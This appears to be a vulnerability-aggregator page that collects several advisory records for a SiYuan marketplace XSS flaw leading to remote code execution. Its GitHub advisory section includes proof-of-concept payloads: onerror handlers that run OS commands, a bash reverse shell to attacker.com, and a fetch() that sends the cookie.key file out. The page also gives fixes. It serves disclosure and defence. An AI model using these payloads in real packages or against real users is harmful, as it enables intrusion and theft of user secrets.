This record is a duplicate; use CVE-2026-56397 instead.

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

This record is a duplicate; use CVE-2026-56397 instead.

Source published

21 Jun 2026 13:27:03 UTC

Source modified

17 Sep 2026 16:04:58 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

Source published

21 Jun 2026 13:27:04 UTC

Source modified

8 Nov 2026 14:06:13 UTC

Observed here

8 Nov 2026 16:11:25 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVSS 3.1 · 9.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

This record is a duplicate; use CVE-2026-56397 instead.

Source published

Jun 21, 2026, 1:27:03 PM (timezone not stated)

Source modified

Sep 17, 2026, 4:04:58 PM (timezone not stated)

Observed here

9 Nov 2026 13:14:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

Source published

Jun 21, 2026, 1:27:04 PM (timezone not stated)

Source modified

Nov 8, 2026, 2:06:13 PM (timezone not stated)

Observed here

9 Nov 2026 13:14:07 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Rejected reason: This record is a duplicate; use CVE-2026-56397 instead.

Source published

21 Jun 2026 14:16:26 UTC

Source modified

17 Sep 2026 17:16:44 UTC

Observed here

25 Oct 2026 14:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

Source published

21 Jun 2026 14:16:26 UTC

Source modified

8 Oct 2026 16:17:22 UTC

Observed here

25 Oct 2026 14:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 9.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-v3mg-9v85-fcm7. This link is maintained to preserve external references. ### Original Description SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

Source published

21 Jun 2026 15:31:25 UTC

Source modified

14 Sep 2026 18:27:44 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · CRITICAL

# Remote Code Execution via Malicious Bazaar Package — Marketplace XSS ## Summary SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by: 1. **Package metadata XSS (zero-click):** Package `displayName` and `description` fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution. 2. **README XSS (one-click):** The `renderREADME` function uses `lute.New()` without `SetSanitize(true)`, so raw HTML in the README passes through to `innerHTML` unsanitized. Both vectors execute in Electron's renderer with `nodeIntegration: true` and `contextIsolation: false`, giving full OS command execution. ## Affected Component - **Metadata rendering:** `app/src/config/bazaar.ts:275-277` - **README rendering (backend):** `kernel/bazaar/package.go:635-645` (`renderREADME`) - **README rendering (frontend):** `app/src/config/bazaar.ts:607` (`innerHTML`) - **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`) - **Version:** SiYuan <= 3.5.9 ## Vulnerable Code ### Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277) ```typescript // Package name injected directly into HTML template — NO escaping ${item.preferredName}${item.preferredName !== item.name ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""} // Package description injected directly — NO escaping <div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}"> ${item.preferredDesc || ""} <!-- UNESCAPED HTML --> </div> ``` Note: The `title` attribute uses `escapeAttr()`, but the actual text content does not — inconsistent escaping. ### Vector 2: README rendering — no Lute sanitization (package.go:635-645) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved return } ``` Compare with the SiYuan note renderer in `kernel/util/lute.go:81`: ```go luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT ``` ### Frontend innerHTML injection (bazaar.ts:607) ```typescript fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = response.data.html; // Unsanitized HTML from README }); ``` ## Proof of Concept ### Vector 1: Malicious package manifest (zero-click RCE) A malicious `plugin.json` (or `theme.json`, `template.json`): ```json { "name": "helpful-plugin", "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">" }, "description": { "default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">" }, "version": "1.0.0" } ``` When any user opens the Bazaar page and this package is in the listing, the `onerror` handler fires automatically (since `src=x` fails to load), executing arbitrary OS commands. ### Vector 2: Malicious README.md (one-click RCE) ```markdown # Helpful Plugin This plugin does helpful things. <img src=x onerror="require('child_process').exec('calc.exe')"> ## Installation Follow the usual steps. ``` When a user clicks on the package to view its README, the raw HTML is rendered via `innerHTML` without sanitization, executing the `onerror` handler. ### Reverse shell via README ```markdown # Cool Theme <img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')"> ``` ### Data exfiltration via package name ```json { "displayName": { "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">" } } ``` ## Attack Scenario 1. Attacker creates a GitHub repository with a plugin/theme/template 2. Attacker submits it to the SiYuan Bazaar (community marketplace) 3. Package manifest contains XSS payload in `displayName` or `description` 4. **Zero-click:** When ANY user browses the Bazaar, the package listing renders the malicious name/description → JavaScript executes → RCE 5. **One-click:** If the package README also contains raw HTML, clicking to view details triggers additional payloads The attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough. ## Impact - **Severity:** CRITICAL (CVSS 9.6) - **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation) - Full remote code execution via Electron's `nodeIntegration: true` - Zero-click for metadata XSS — triggers on page load - Supply-chain attack vector targeting all Bazaar users - Can steal API tokens, session cookies, SSH keys, arbitrary files - Can install persistence, backdoors, or ransomware - Affects all SiYuan desktop users who browse the Bazaar ## Suggested Fix ### 1. Escape package metadata in template rendering (bazaar.ts) ```typescript // Use a proper HTML escape function function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(/</g, '&lt;') .replace(/>/g, '&gt;').replace(/"/g, '&quot;'); } // Apply to all user-controlled metadata ${escapeHtml(item.preferredName)} <div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div> ``` ### 2. Enable Lute sanitization for README rendering (package.go) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() luteEngine.SetSanitize(true) // ADD THIS luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) // ... } ``` ### 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```

Source published

16 Mar 2026 20:43:49 UTC

Source modified

14 Sep 2026 18:27:20 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Publisher rating · MODERATE

SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1.

Source published

19 Aug 2026 15:16:03 UTC

Source modified

19 Aug 2026 15:57:12 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.